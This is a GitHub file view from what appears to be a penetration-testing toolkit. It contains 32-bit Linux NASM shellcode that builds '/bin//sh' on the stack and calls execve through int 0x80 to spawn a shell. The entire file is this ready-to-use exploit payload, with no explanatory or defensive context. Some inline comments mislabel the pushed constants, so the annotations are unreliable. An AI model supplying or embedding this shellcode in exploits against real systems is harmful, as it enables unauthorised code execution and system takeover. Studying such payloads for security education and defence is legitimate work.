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https://github.com/autistic-symposium/sec-pentesting-toolkit.git
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20 lines
870 B
NASM
20 lines
870 B
NASM
;Universal Shellcode for Unix/Linux
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section .text ; Text section
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global _start ; Define _start function
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_start: ; _start function
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xor eax, eax ; Zero out eax REGister
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xor ebx, ebx ; Zero out ebx REGister
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xor ecx, ecx ; Zero out ecx REGister
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cdq ; Zero out edx using the sign bit from eax
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push ecx ; Insert 4 byte null in stack
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push 0x68732f6e ; Insert /bin in the stack
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push 0x69622f2f ; Insert //sh in the stack
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mov ebx, esp ; Put /bin//sh in stack
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push ecx ; Put 4 Byte in stack
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push ebx ; Put ebx in stack
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mov ecx, esp ; Insert ebx address in ecx
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xor eax, eax ; Zero out eax register
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mov al, 11 ; Insert __NR_execve 11 syscall
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int 0x80 ; Syscall execute
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